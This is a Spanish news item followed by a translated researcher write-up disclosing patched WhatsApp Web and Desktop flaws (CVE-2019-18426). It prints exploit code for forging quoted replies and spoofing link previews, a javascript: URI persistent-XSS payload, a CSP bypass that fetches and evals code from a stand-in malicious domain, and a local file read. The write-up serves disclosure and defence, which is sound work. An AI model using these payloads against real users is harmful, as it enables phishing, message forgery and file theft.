Varios fallos de seguridad en Whatsapp Web. Un total de cuatro fallos de seguridad críticos en la versión para ordenadores PC y Mac de la aplicación de mensajería WhatsApp expusieron los dispositivos de los usuarios, a los que un atacante podía acceder a través del envío de un mensaje malicioso.
Las vulnerabilidades, que han sido descubiertas por los investigadores de la compañía de ciberseguridad Perimeter X, se basan en el ‘cross-site scripting’, un agujero de seguridad que permite a un tercero inyectar código Javascript o similar en una aplicación web.
En WhatsApp, cuando el usuario envía un mensaje que contiene un enlace, la aplicación añade una previsualización con información adicional, como el nombre de la página y su descripción, para que el receptor sepa dónde está haciendo clic. No obstante, estos datos provienen del emisor del mensaje y pueden alterarse de forma malintencionada mediante Javascript en el navegador.
Usando esto, un atacante podría utilizar un mensaje malicioso modificado pero con apariencia de legítimo, cambiar la URL del enlace e introducir código malicioso Java escondido a través del ‘cross-site scripting’.
Mediante esta técnica, el atacante puede hacerse con acceso a los archivos del sistema de WhatsApp y ejecutar código de forma arbitraria en el dispositivo a través de la aplicación del usuario que reciba el chat malicioso.
Este fallo está presente solo en algunos navegadores como en Safari y en versiones antiguas de Edge, pero no en otros basados en Chromium, según la investigación, y se debe al uso en WhatsApp de la herramienta de desarrollo de aplicaciones Electron, basada en versiones antiguas de Chromium aún afectadas por el problema.
Tras descubrir estas vulnerabilidades, los investigadores de Perimeter X han informado a Facebook, compañía propietaria de WhatsApp desde 2014, y estos fallos se han solucionado a través de un parche de seguridad en WhatsApp Web para PC y Mac distribuido el pasado 21 de enero.
Esta es la traducción de la fuente donde explicaban como era el ataque https://www.perimeterx.com/tech-blog/2020/whatsapp-fs-read-vuln-disclosure/
Fall0 crítico de seguridad encontrada en la plataforma de escritorio de WhatsApp que permite a los cibercriminales leer desde el acceso al sistema de archivos
Esta es la historia de cómo encontré y ayudé a Facebook a reparar múltiples fallas críticas de seguridad en WhatsApp ( CVE-2019-18426 ), desde un simple Open-Redirect hasta un Persistent-XSS y CSP-bypass a un plataformas cruzadas completas ¡ Lea desde el sistema de archivos local en Windows y Mac!
En 2017, mientras viajaba en Perú, encontré una falla de seguridad que Check Point publicó unos meses después. Ese defecto fue simple. En palabras de los investigadores de Check Point en este artículo publicado en 2018, permitió a un atacante «alterar el texto de la respuesta de otra persona, esencialmente poniendo palabras en su boca».
Fue genial, pero en aquel entonces no podía pensar en explotar más la falla o encontrar fallas relacionadas. Entonces, excepto por molestar a mis amigos un par de veces en nuestro chat grupal, lo dejé pasar.
Un año después, decidí continuar mi investigación. Realmente quería encontrar una falla de seguridad importante en un servicio conocido y ampliamente utilizado, y sentí que WhatsApp era un buen comienzo. Así que lo probé ya que ya tenía alguna pista de las fallas de seguridad existentes en las aplicaciones móviles y web de WhatsApp.
No estaba listo para lo que los próximos meses trajeron con ellos, pero puedo asegurarles que fue un viaje increíble. Logré encontrar cuatro fallas de seguridad únicas más en WhatsApp que me llevaron a XSS persistente e incluso a leer desde el sistema de archivos local, usando un solo mensaje.
Este fue mi proceso:
1. Mi hallazgo original: «alterar el texto de la respuesta de otra persona»
Primero, hablemos de lo que encontré en primer lugar, en 2017, ya que es la base de esta investigación.
Originalmente pensé: «Al usar la web de WhatsApp, puedo encontrar la línea de código donde se forma el objeto que contiene los metadatos del mensaje, manipularlo y luego dejar que la aplicación continúe en su flujo natural de envío de mensajes, creando así mi mensaje al pasar por alto el mecanismo de filtrado de la interfaz de usuario «.
Entonces, por ejemplo, al usar esta técnica, puedo alterar el texto de una respuesta a un mensaje y enviarlo, algo que no puedo lograr al usar legítimamente la interfaz de usuario web de WhatsApp. Encontré esa línea y logré echar un vistazo al Objeto que contiene los metadatos del mensaje. Puede encontrar esta línea al buscar return Promise.callSynchronously(function()
en todo el código y establecer un punto de interrupción en var t = e.id;
. Tenía muchos campos interesantes, por lo que nos centraremos aquí en los relevantes:
e = {
__x_body: "Why would you say that?!",
__x_type: "chat",
__x_quotedMsg: {
body: "I think you are the best!",
type: "chat",
mentionedJidList: [],
isForwarded: false,
labels: [],
},
__x_quotedStanzaID: "3EB0E42AC64D3D9BC5E7",
};
Entonces, esencialmente, descubrí eso simplemente ejecutando:
e.__x_quotedMsg.body = "I think you are the worst!"; // alter the text
e.__x_quotedStanzaID = e.__x_quotedStanzaID + "_"; // change the id of the original message
antes de permitir que se ejecute el mensaje enviado, obtendrá esto:
(Esto funciona para WhatsApp iOS / Android / Windows Desktop / Mac Desktop / Web)
El cuerpo de la cita de respuesta es de un mensaje que he inventado y nunca fue enviado realmente en la conversación actual. Eso es genial, pero no tan poderoso.
¿Qué más puedo desmontar? ¿Qué pasa con los mensajes con banners de vista previa enriquecidos?
2. Falla peligrosa de redireccionamiento abierto en mensajes con un rico banner de vista previa usando «@»
Aquí es donde esta investigación se vuelve mucho más interesante. Los mensajes con pancartas de vista previa enriquecida son mensajes que incluyen pancartas con información adicional con respecto a un enlace que se encuentra en el cuerpo del mensaje. Entonces, por ejemplo, si envío un mensaje con » https://facebook.com » como su cuerpo, el receptor recibirá esto:
En WhatsApp, el banner se genera en el lado del remitente y este es un punto importante para entender. Uno puede manipular fácilmente las propiedades del banner antes de enviarlo al receptor. ¡Gran receta para problemas aquí mismo!
Lo primero que hice fue crear un mensaje que incluirá un banner de aspecto legítimo, pero que en su lugar redirigirá a otro dominio simplemente reemplazando el enlace:
e.__x_body = e.__x_matchedText = "https://example.com";
Y esto es lo que obtuve:
(Esto funciona para WhatsApp iOS / Android / Windows Desktop / Mac Desktop / Web)
¡Frio! Ahora, aunque parece que el banner proviene de Facebook, al hacer clic en el enlace se redireccionará a https://example.com.
Al estar familiarizado con todo tipo de trucos utilizados por actores maliciosos en el mundo de la web, experimenté con esta idea para ver si esta redirección abierta puede ser más peligrosa:
e.__x_body = e.__x_matchedText =
"Join Facebook! https://facebook.com+login_oage&welcome_to_facebook=true&[email protected]/2SfZikR Become a friend of mine!";
(Esto funciona para WhatsApp iOS / Android / Windows Desktop / Mac Desktop / Web)
¿Ves lo que hice? Logré no solo meterme con el enlace del banner, sino que también diseñé un mensaje con un enlace que parece pertenecer a https://facebook.com, ¡ mientras que el enlace siempre redirigirá a https://example.com!
Esto es peligroso porque parece auténtico, ya que tanto el banner como el enlace parecen pertenecer a https://facebook.com
Esto funciona gracias al papel que desempeña «@» en la especificación de URL :
El propósito de «@» en las URL es pasar nombre de usuario y contraseña para dominios visitados de la siguiente manera: https://USERNAME:[email protected]
. Uno puede abusar de esto, como acabo de hacer, y reemplazar el nombre de usuario y la contraseña con cualquier otra cosa: https://[email protected]
y seguirá funcionando. Firefox es el único navegador que advierte a los usuarios, de forma predeterminada, en caso de que este método se use sin proporcionar un nombre de usuario y contraseña.
Y luego me di cuenta: si pudiera manipular el mensaje y enviar algún enlace, ¿podría usar javascript:
URI?
3. De un Open-Redirect a un Persistent-XSS usando javascript:
URI
¡SI! Pero no es tan simple como eso.
Al principio, eso es exactamente lo que hice:
e.__x_body = e.__x_matchedText = "javascript:alert(document.domain)";
Pero no funcionó. WhatsApp pareció dejar caer el banner en el lado receptor. Después de algunos intentos fallidos, se me ocurrió una idea: ¿tal vez esto sucede porque WhatsApp mira el enlace que se adjunta al banner y espera que incluya un https:
URI de esquema legítimo ?
Así que canalizando mi hacker interno, hice esto:
e.__x_body = e.__x_matchedText = 'javascript:"https://example.com";alert(document.domain)';
¡Y FUNCIONÓ!
(Esto funciona para WhatsApp Windows Desktop / Mac Desktop / Web)
¡Obtuve un persistente XSS de un clic!
Afortunadamente para WhatsApp, los navegadores basados en Chromium agregaron un mecanismo de defensa contra los javascript:
URI justo cuando encontré esta vulnerabilidad. Desafortunadamente para WhatsApp, en otros navegadores como Safari y Edge, esta vulnerabilidad todavía estaba abierta. La imagen de arriba está usando Brave, una versión anterior del navegador basado en Chromium.
Al hacer clic, el mensaje en las aplicaciones nativas de WhatsApp para dispositivos móviles normalmente abre https://example.com en lugar de ejecutar XSS (obviamente, porque XSS rara vez es relevante para aplicaciones móviles nativas).
Ahora, no pude alcanzar un estado en el que la carga útil no sea una parte visible del mensaje. Esto se debe a que WhatsApp tiene una parte en su código que verifica si el contenido del enlace URI está incluido en el cuerpo del mensaje cuando se cargan los mensajes. Si no hay coincidencia, WhatsApp omitirá el banner y el exploit no funcionará. Lo mejor que pude lograr fue crear un mensaje lo suficientemente largo, para que la función «Leer más …» se activara y se asegurara de que la carga útil real estuviera en la parte inferior del cuerpo del mensaje donde solo se podía ver si hiciste clic en «Leer más …».
Tuve que pensar en una forma de lograr crear una carga útil muy pequeña que cargara una carga útil más grande de un origen diferente, para hacer que todo sea lo más inútil posible. Esto significaría pasar por alto las reglas CSP de WhatsApp, lo que no sería una tarea fácil.
4. Omitir las reglas CSP de WhatsApp para mejorar el poder del Persistent-XSS
Eludir las reglas CSP se hace más fácil con el Evaluador CSP de Google . Simplemente arroje la dirección URL del sitio web de destino en el cuadro de texto, e inmediatamente le indica su configuración CSP y qué tan seguro (o inseguro) es el sitio web:
¿Ves eso object-src [missing]
ahí abajo? (😈)
Esto es lo que voy a hacer. Usando mi javascript:
truco, voy a inyectar la siguiente carga útil a mi mensaje malicioso:
var payload = `
hard_expire_time.innerHTML +=
'<object data="https://MY_MALICIOUS_DOMAIN/MY_PAYLOAD_IFRAME.html" />';
onmessage=(e)=>{eval(JSON.parse(e.data))};
`;
payload = `javascript:"https://facebook.com";eval(atob("${btoa(payload)}"))`;
e.__x_body = e.__x_matchedText = payload;
Y el contenido de https://MY_MALICIOUS_DOMAIN/MY_PAYLOAD_IFRAME.html
sería:
<html>
<head></head>
<body>
<script>
top.postMessage(
JSON.stringify(
"open('https://facebook.com');
alert('external payload');"
),
"*");
</script>
</body>
</html>
(Esto funciona para WhatsApp Web)
¿Ves lo que acabo de hacer? Como object-src
falta la directiva, significa que puedo usarla object
para cargar un iframe (ish) en cualquier origen de mi elección. ¡De esa forma podré ejecutar cualquier código externo sin límites de tamaño y sin problemas! Todo lo que queda por hacer es ejecutar ese código en el web.whatsapp.com
dominio y no en el dominio de mi propio iframe, de lo contrario, será bastante inútil.
Para lograr eso, simplemente uso el XSS para cargar el iframe y luego escuchar los mensajes publicados por diferentes ventanas. Luego uso el iframe para publicar un mensaje en la ventana superior con el contenido del código externo.
La ventana superior, donde se ejecutó el XSS, recibe el mensaje del iframe, analiza la carga útil externa proporcionada por él y lo ejecuta en su contexto ( web.whatsapp.com
).
¡Ganar! ¡La carga útil externa se obtuvo y ejecutó correctamente en el contexto de WhatsApp!
Ah, y ese hard_expire_time.innerHTML
truco? Era la forma más corta en que podía pensar en este momento para hacer que el DOM cargue mi elemento Object ( hard_expire_time
es un elemento en el DOM del sitio web).
5. De Persistent-XSS a lectura del sistema de archivos en Mac / Windows con potencial para RCE
Sorprendentemente, esta es la parte fácil. WhatsApp tiene aplicaciones de escritorio para Mac y Windows.
Era muy escéptico acerca de poder usar el XSS genial que había encontrado en las aplicaciones de escritorio. Después de todo, probablemente no están hechos de HTML y JS, ¿verdad?
Hice clic en el mismo mensaje malicioso que usé en la aplicación web a través de la aplicación de escritorio de Windows y me sorprendió ver esto:
(Esto funciona para WhatsApp Windows Desktop / Mac Desktop / Web)
¡GUAUU! Quiero decir, la document.domain
parte realmente no funcionó, ¡pero la alert()
parte sí lo hizo! ¡¿Cómo es eso posible?!
Me conecté en línea, sabiendo muy bien que encontraría una respuesta, y esto fue lo que descubrí rápidamente:
Este tipo de aplicaciones se escriben usando Electron . Electron es una plataforma genial que te permite crear aplicaciones «nativas» utilizando características web estándar. Esto hace que las cosas sean muy fáciles para muchas grandes empresas, ya que les permite tener un código fuente tanto para sus aplicaciones web como para las aplicaciones de escritorio nativas. Electron se actualiza constantemente junto con la plataforma en la que se basa: Chromium.
¡Eso significa que mi XSS funciona ya que esto es, después de todo, una variante de Chromium!
Pero espera, antes he aprendido que mi javascript:
truco no funciona en los navegadores basados en Chromium desde el parche reciente. Entonces, ¿por qué este XSS funciona en Electron?
Decidí usar mi XSS para alertar al agente de usuario de la aplicación que se está ejecutando actualmente, y la siguiente falla de seguridad importante me dejó perplejo:
(Esto funciona para WhatsApp Windows Desktop / Mac Desktop)
Para los investigadores de vulnerabilidades experimentados, hay suficientes datos en este mensaje de alerta para identificar de inmediato el potencial de RCE, así que tómese un segundo y ¡piense en ello!
Así es: Chrome/69
se Chrome/69
basa la última versión de las aplicaciones de escritorio de WhatsApp proporcionadas por WhatsApp . ¡Esta vulnerabilidad se encontró cuando Chrome/78
era la versión estable! Algunas versiones anteriores Chrome/78
, la capacidad de usar el javascript:
truco fue parcheada, y si WhatsApp hubiera actualizado su aplicación web Electron de 4.1.4 a la última, que era 7.xx en el momento en que se encontró esta vulnerabilidad (!), Este XSS lo haría nunca ha existido!
Y lo que es peor: ¡dado que Chromium 69 es relativamente antiguo, es posible explotar un RCE de 1 día! Hay más de 5 RCE diferentes de 1 día en Chromium 69 o superior, solo necesita encontrar uno publicado y usarlo a través del XSS persistente encontrado anteriormente y BAM: ¡Ejecución remota de código LOGRADA!
No me tomé el tiempo para explotar una RCE pública y, por lo tanto, no tuve la oportunidad de demostrar la existencia de dicha vulnerabilidad, pero el concepto teórico es el siguiente: si ejecuta una versión anterior de una aplicación vulnerable, una puede explotar esa vulnerabilidad y hacerte cosas malas. Sin embargo, demostré cómo uso la fetch()
API, por ejemplo, para leer archivos del sistema operativo local como el contenido del C:\Windows\System32\drivers\etc\hosts
archivo en este caso:
(Esto funciona para WhatsApp Windows Desktop / Mac Desktop)
Por alguna razón, las reglas CSP no eran un problema con la aplicación basada en Electron, por lo que funcionó la búsqueda de una carga útil externa utilizando un recurso simple de JavaScript. Esta es la carga útil que usé el XSS para buscar y ejecutar desde mi servidor malicioso remoto:
alert(navigator.userAgent);
(async function(){
// read "file:///C:/Windows/System32/drivers/etc/hosts" content
const r = await fetch('file:///C:/Windows/System32/drivers/etc/hosts);
const t = await r.text();
alert(t)
}())
Y eso fue todo. Este fue mi viaje completo, desde un simple Open-Redirect, a través de un Persistent-XSS y un CSP-bypass a una lectura multiplataforma completa del sistema de archivos, más potencialmente una ejecución remota de código 🎉.
Conclusiones clave de esta investigación
Aquí hay algunas fallas de seguridad muy serias de las cuales todas las compañías deberían aprender:
- Si su aplicación usa banners de vista previa enriquecidos y esos banners están diseñados en el lado de envío, su filtrado en el lado de recepción debe ser perfecto. No puede permitir que se carguen URL extrañas en el lado receptor sin asegurarse de que sean legítimas. Diablos, si su aplicación generalmente crea mensajes en el lado del cliente, su filtrado en el lado receptor debe ser perfecto.
- Las reglas de CSP son súper importantes y podrían haber evitado gran parte de este desastre. Si las reglas de CSP estuvieran bien configuradas, la potencia obtenida por este XSS habría sido mucho menor. Poder evitar la configuración de CSP le permite a un atacante robar información valiosa de la víctima, cargar cargas útiles externas fácilmente y ¡mucho más!
- Si va a utilizar Electron, DEBE asegurarse de que se actualice con cada actualización de Chromium. Y esta es tan importante: las actualizaciones de Chromium no son solo nuevas características interesantes, ¡en la mayoría de las actualizaciones de Chromium, se están reparando vulnerabilidades graves! Cuando se actualiza Chromium, tu aplicación basada en Electron también debe actualizarse, de lo contrario, dejarás a tus usuarios vulnerables a vulnerabilidades graves sin ningún motivo.
Resumen
Y eso es todo. Tengo que admitir que he puesto mucho esfuerzo y tiempo en esta investigación, pero me alegra decir que todo valió la pena. Creo que hay algunas ideas muy interesantes aquí que deberían inspirarlo a explorar nuevos tipos de fallas de seguridad que probablemente existan. ¡Te animo a seguir adelante y hacerlo responsablemente! Y si estás al otro lado del juego, utiliza este artículo para fortalecer tu aplicación. Es 2020, ningún producto debería permitir una lectura completa del sistema de archivos y potencialmente un RCE de un solo mensaje.
Facebook ha parcheado este CVE .